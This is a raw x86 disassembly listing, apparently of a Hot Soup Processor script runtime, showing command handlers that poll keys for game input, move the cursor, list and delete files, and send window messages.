mov dword [0x41a1c8], eax
jne 0x406b62
test eax, eax
mov eax, dword [0x41a1f0]
jne 0x405da7
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 0x24]
xor ecx, ecx
mov ch, byte [edx + eax*4]
lea eax, [edx + eax*4]
movzx edx, byte [eax + 2]
pop edi
pop esi
mov cl, byte [eax + 1]
pop ebp
pop ebx
shl ecx, 8
or ecx, edx
mov dword [0x418f10], ecx
xor eax, eax
add esp, 0x4a8
ret
push eax
call dword [sym.imp.USER32.dll_GetSysColor]
pop edi
pop esi
pop ebp
mov dword [0x418f10], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
push 0
mov dword [0x41a1e8], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
push eax
call fcn.004044e0
mov ecx, dword [0x41a1e8]
add esp, 4
pop edi
pop esi
pop ebp
mov dword [ecx], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
mov edx, dword [0x41a1e0]
mov ecx, dword [edx + 0x48]
push ecx
push eax
call fcn.0040bd10
add esp, 4
push eax
call fcn.00402660
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
push eax
call fcn.0040f5c2
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov edx, dword [0x41a1f0]
push eax
mov eax, dword [0x41a1e0]
push edx
push eax
call fcn.00401080
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
mov edi, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x405ef0
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
cmp dword [0x41acc8], 4
jne 0x406ae4
mov ecx, dword [0x41a75c]
test ecx, ecx
jne 0x406b62
mov ecx, dword [0x41acdc]
mov edx, dword [0x41b390]
push ecx
push eax
mov eax, dword [0x41a1e0]
push edx
push eax
call fcn.00401780
add esp, 0x10
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 0x6c]
push edx
mov dword [0x41a1c8], eax
call fcn.00408bf0
mov dword [0x41a1c4], eax
mov eax, dword [0x41a1e0]
mov ecx, dword [eax + 0x70]
push ecx
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0x10
test ecx, ecx
mov dword [0x41a1f4], eax
jne 0x406b62
mov ecx, dword [0x41a1e0]
mov edx, dword [0x41a1c4]
mov dword [ecx + 0x6c], edx
mov edx, dword [0x41a1f0]
mov dword [ecx + 0x70], eax
mov eax, dword [0x41a1c8]
push eax
push edx
push ecx
call fcn.00402e20
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
push 4
call fcn.00407f10
mov eax, dword [0x41a1f0]
push 0
mov dword [0x41a1e8], eax
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0xc
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
test eax, eax
mov dword [0x419094], ecx
je 0x406050
call fcn.0040bea0
test eax, eax
jge 0x406050
mov ecx, dword [0x41a1e8]
mov edx, dword [0x419094]
pop edi
pop esi
pop ebp
mov dword [ecx], edx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x25
call esi
test ah, ah
mov ebx, 1
jns 0x406069
or dword [0x419094], ebx
push 0x26
call esi
test ah, ah
jns 0x406078
or dword [0x419094], 2
push 0x27
call esi
test ah, ah
jns 0x406087
or dword [0x419094], 4
push 0x28
call esi
test ah, ah
jns 0x406096
or dword [0x419094], 8
push 0x20
call esi
test ah, ah
jns 0x4060a5
or dword [0x419094], 0x10
push 0xd
call esi
test ah, ah
jns 0x4060b4
or dword [0x419094], 0x20
push 0x11
call esi
test ah, ah
jns 0x4060c3
or dword [0x419094], 0x40
push 0x1b
call esi
test ah, ah
jns 0x4060d5
or dword [0x419094], 0x80
push ebx
call esi
test ah, ah
jns 0x4060e6
or dword [0x419094], 0x100
push 2
call esi
test ah, ah
jns 0x4060f8
or dword [0x419094], 0x200
push 9
call esi
test ah, ah
mov eax, dword [0x419094]
jns 0x40610f
or eax, 0x400
mov dword [0x419094], eax
mov ecx, dword [0x41a2f8]
mov esi, dword [0x41a1f0]
xor ecx, eax
and ecx, eax
mov dword [0x41a2f8], eax
and eax, esi
pop edi
or eax, ecx
pop esi
mov dword [0x41a1d0], ecx
mov ecx, dword [0x41a1e8]
pop ebp
mov dword [ecx], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
cmp eax, 7
mov ecx, dword [0x41a1e0]
mov esi, dword [ecx + 0x34]
ja case.0x4049d7.18
jmp dword [eax*4 + 0x407570]
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
mov dword [0x41a1ec], eax
mov dword [0x418f70], ecx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.0040bea0
mov edx, dword [0x41a1c0]
pop edi
pop esi
pop ebp
mov dword [0x41a1ec], eax
mov dword [0x418f70], edx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword [0x41a1ec], ecx
mov dword [0x418f70], edx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
mov dword [0x41a1ec], ecx
mov dword [0x418f70], edx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov eax, dword [ecx + 0x5c]
mov ecx, dword [ecx + 0x60]
pop edi
pop esi
pop ebp
mov dword [0x41a1ec], eax
mov dword [0x418f70], ecx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push esi
call fcn.00401f30
push esi
mov dword [0x41a1ec], eax
call fcn.00401f50
add esp, 8
pop edi
pop esi
pop ebp
mov dword [0x418f70], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov eax, dword [ecx + 8]
mov edx, dword [ecx + 4]
pop edi
pop esi
pop ebp
mov dword [0x418f70], eax
mov dword [0x41a1ec], edx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov eax, dword [ecx + 0x318]
mov edx, dword [ecx + 0x314]
pop edi
pop esi
pop ebp
mov dword [0x418f70], eax
mov dword [0x41a1ec], edx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
cmp dword [0x41acc8], 4
jne 0x406ae4
mov esi, dword [0x41acdc]
push 0x64
call fcn.00408bf0
add esp, 4
mov dword [0x41a1c8], eax
call fcn.00408c90
mov ecx, dword [0x41a75c]
test ecx, ecx
mov dword [0x41908c], eax
jne 0x406b62
mov ecx, dword [0x41a1c8]
mov edx, dword [0x41a1f0]
push esi
push ecx
push edx
push eax
mov eax, dword [0x41a1e0]
push eax
call fcn.00401830
add esp, 0x14
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov ecx, dword [0x41a75c]
test ecx, ecx
mov dword [0x41908c], eax
jne 0x406b62
push eax
call fcn.0040f526
add esp, 4
test eax, eax
mov dword [0x41a7a8], eax
jne 0x406aad
push 0x104
push 0x41a0b0
call fcn.0040f3cb
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov dword [0x41a1f0], eax
mov eax, dword [0x41a75c]
add esp, 4
test eax, eax
jne 0x4073c2
call fcn.00408840
test eax, eax
mov dword [0x41a1c8], eax
jge 0x4063a7
pop edi
pop esi
pop ebp
neg eax
pop ebx
add esp, 0x4a8
ret
mov eax, dword [0x41a788]
mov edx, dword [0x41a1f0]
cmp eax, 2
mov eax, dword [0x41a1e0]
jne 0x4063dc
mov ecx, dword [0x41a7d4]
push 1
push ecx
push edx
push eax
call fcn.004011f0
add esp, 0x10
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ecx, dword [0x41b4f8]
push ecx
push edx
push eax
call fcn.00401330
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c8], eax
call fcn.00408bf0
mov dword [0x41a1c4], eax
mov eax, dword [0x41a75c]
add esp, 0xc
test eax, eax
jne 0x4073c2
call fcn.004082f0
test eax, eax
mov dword [0x41a1f4], eax
je 0x406acb
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a0a4], eax
jne 0x406b62
mov ecx, dword [0x41a1e0]
mov edx, dword [0x41a1f0]
mov ecx, dword [ecx + edx*4 + 0xa4]
test ecx, ecx
je 0x406b8c
test eax, eax
je 0x406489
mov eax, dword [0x41a1f4]
mov edx, dword [eax]
mov dword [0x41a1f4], edx
mov eax, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
push eax
mov eax, dword [0x41a1c8]
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 0x30c]
push edx
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov ecx, dword [0x41a1e0]
mov edx, dword [0x41a1f0]
pop edi
pop esi
mov dword [ecx + 0x2c4], edx
pop ebp
mov dword [ecx + 0x30c], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
mov esi, dword [0x41acdc]
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov ecx, dword [0x41a1f0]
push ecx
call fcn.00404100
add esp, 4
test eax, eax
mov dword [0x41a1c4], eax
jl 0x406b8c
pop edi
mov word [esi], ax
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
mov esi, dword [0x41acdc]
mov dword [esp + 0x14], esi
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4065a0
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
test al, 0x10
mov ebp, dword [esi + 0x1c]
mov word [esi], 2
mov byte [ebp], cl
je 0x4065e5
mov edx, dword [0x41b390]
push edx
call fcn.0040e220
add esp, 4
lea eax, [esp + 0x1b8]
push eax
lea ecx, [esp + 0x3bc]
push ecx
mov ecx, dword [0x41b390]
lea edx, [esp + 0x2c0]
push edx
lea eax, [esp + 0x84]
push eax
push ecx
call fcn.0040f3de
lea eax, [esp + 0x2cc]
add esp, 0x14
mov edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406620
lea edi, [esp + 0x78]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x406630
mov ebx, dword [0x41a1c8]
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
test bl, 8
rep movsb byte es:[edi], byte [esi]
je 0x40669d
mov edx, dword [0x41b390]
lea ecx, [esp + 0x3b8]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x406660
lea eax, [esp + 0x1b8]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406673
mov edi, dword [0x41b390]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x406683
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4066ba
test bl, 0x20
je 0x4066ba
mov edx, dword [0x41b390]
lea ecx, [esp + 0x78]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4066b0
and ebx, 7
mov eax, ebx
sub eax, 0
je 0x40674c
dec eax
je 0x4066fb
dec eax
jne 0x406b8c
mov edx, ebp
lea ecx, [esp + 0x1b8]
lea eax, [esp + 0x1b8]
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4066e4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov edi, dword [0x41b390]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406706
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x1b8]
lea esi, [eax + 1]
jmp 0x406720
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406720
sub eax, esi
sub ecx, eax
mov byte [ecx + edi], dl
mov eax, dword [0x41b390]
mov ecx, ebp
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x406735
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov edx, dword [0x41b390]
push edx
push ebp
call fcn.0040e260
mov ecx, dword [esp + 0x1c]
mov edx, dword [ecx + 8]
shl edx, 2
add esp, 8
cmp eax, edx
jle case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 0x14
pop ebx
add esp, 0x4a8
ret
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00408bf0
mov edx, dword [esp + 0x20]
push edx
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov ecx, dword [0x41a1f0]
test ecx, ecx
jl 0x4067c6
test eax, eax
jge 0x4067ef
mov edx, dword [0x41834c]
test edx, edx
je 0x4067ef
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
pop edi
pop esi
pop ebp
mov dword [0x41834c], 0
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push eax
push ecx
call dword [sym.imp.USER32.dll_SetCursorPos]
mov eax, dword [0x41834c]
test eax, eax
jne case.0x4049d7.18
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
mov eax, dword [0x41834c]
pop edi
pop esi
inc eax
pop ebp
mov dword [0x41834c], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
mov dword [esp + 0x14], ebx
call fcn.004082f0
xor esi, esi
cmp eax, esi
mov dword [0x41a1f0], eax
je 0x406acb
mov edi, dword [0x41acdc]
mov eax, dword [edi + 8]
shl eax, 2
mov dword [esp + 0x34], edi
mov word [edi], 2
mov dword [esp + 0x30], eax
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x406870
push esi
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
cmp ecx, esi
mov dword [0x41a1c4], eax
jne 0x406b62
mov ecx, dword [0x41a1f0]
mov dword [esp + 0x18], ecx
cmp dword [edi + 0xc], esi
jle 0x4068a9
mov dword [esp + 0x14], esi
test bl, al
mov dword [esp + 0x10], esi
je 0x4068b9
mov dword [esp + 0x10], 0x10
test al, 2
je 0x4068c2
or dword [esp + 0x10], 6
mov eax, dword [0x41b390]
lea edx, [esp + 0x78]
push edx
push eax
mov dword [0x41a7a8], esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x38], esi
je case.0x4049d7.18
mov ebp, 0x4000
push ebp
call fcn.0040e160
mov ebx, eax
add esp, 4
mov byte [ebx], 0
jmp 0x406900
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x78]
and ecx, edx
xor edx, edx
cmp edx, ecx
mov cl, byte [0x41a1c4]
sbb eax, eax
neg eax
test cl, 4
jne 0x406926
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
test eax, eax
je 0x4069f2
mov al, byte [esp + 0xa4]
test al, al
je 0x4069f2
cmp al, 0x2e
jne 0x406963
mov al, byte [esp + 0xa5]
test al, al
je 0x4069f2
cmp al, 0x2e
jne 0x406963
mov al, byte [esp + 0xa6]
test al, al
je 0x4069f2
inc dword [0x41a7a8]
mov eax, ebx
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406970
sub eax, edx
add eax, 0x800
cmp eax, ebp
jl 0x406994
add ebp, 0x4000
push ebp
push ebx
call fcn.0040e1a0
add esp, 8
mov ebx, eax
lea eax, [esp + 0xa4]
mov edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4069a0
mov edi, ebx
sub eax, edx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4069b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
dec edi
jmp 0x4069d0
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4069d0
mov dx, word [0x415368]
mov esi, dword [esp + 0x38]
mov word [edi], dx
mov al, byte [0x41536a]
mov byte [edi + 2], al
mov edi, dword [esp + 0x34]
lea ecx, [esp + 0x78]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406900
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406a12
sub eax, edx
inc eax
cmp eax, 0x40
jge 0x406a26
mov eax, 0x40
cmp eax, dword [esp + 0x30]
jle 0x406a5e
mov ecx, dword [esp + 0x14]
test ecx, ecx
jne 0x406a4d
push ebx
call fcn.0040e190
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 0x14
pop ebx
add esp, 0x4a8
ret
push 0
push eax
push edi
call fcn.00408040
mov edx, dword [edi + 0x1c]
add esp, 0xc
jmp 0x406a62
mov edx, dword [esp + 0x18]
mov eax, ebx
sub edx, ebx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x406a66
push ebx
call fcn.0040e190
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov ecx, dword [0x41a75c]
test ecx, ecx
mov dword [0x41908c], eax
jne 0x406b62
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 0xc
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
jne 0x406adb
pop edi
pop esi
pop ebp
mov eax, 0x100
pop ebx
add esp, 0x4a8
ret
cmp dword [0x41acc8], 4
je 0x406af4
pop edi
pop esi
pop ebp
mov eax, 6
pop ebx
add esp, 0x4a8
ret
mov esi, dword [0x41acdc]
push 0x64
call fcn.00408bf0
add esp, 4
mov dword [0x41a1c8], eax
call fcn.00408c90
mov ecx, dword [0x41a75c]
test ecx, ecx
mov dword [0x41908c], eax
jne 0x406b62
mov edx, dword [0x41a1c8]
mov ecx, dword [0x41a1f0]
push esi
push edx
mov edx, dword [0x41a1e0]
push ecx
push eax
push edx
call fcn.00401910
add esp, 0x14
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
je 0x406b6f
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x4a8
ret
push eax
mov eax, dword [0x41a1e0]
push eax
call fcn.00401130
add esp, 8
cmp eax, 0xfffffffe
mov dword [0x41a7a8], eax
jne case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040e840
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov edx, dword [0x41a1f4]
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.0040ea60
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f4]
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
push edx
push eax
call fcn.0040e870
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040e8f0
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov edx, dword [0x41a1f4]
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.0040ea00
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f4]
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
push edx
push eax
call fcn.0040ea20
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040ea40
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov edx, dword [0x41a1f4]
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.0040e930
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f4]
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
push edx
push eax
call sym.hsp2c.exe__ll_callfunc_16
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
xor ebx, ebx
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040e520
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
xor ebx, ebx
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov edx, dword [0x41a1f4]
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.0040e950
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
xor ebx, ebx
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f4]
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
push edx
push eax
call fcn.0040e980
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
xor ebx, ebx
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040e9b0
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
xor ebx, ebx
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov edx, dword [0x41a1f4]
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.0040e8d0
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
xor ebx, ebx
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f4]
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
push edx
push eax
call fcn.0040e9f0
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
xor ebx, ebx
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
mov eax, dword [0x41a1f0]
push 0x4190a0
push ecx
push edx
push eax
call fcn.0040e780
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
xor ebx, ebx
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040e860
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
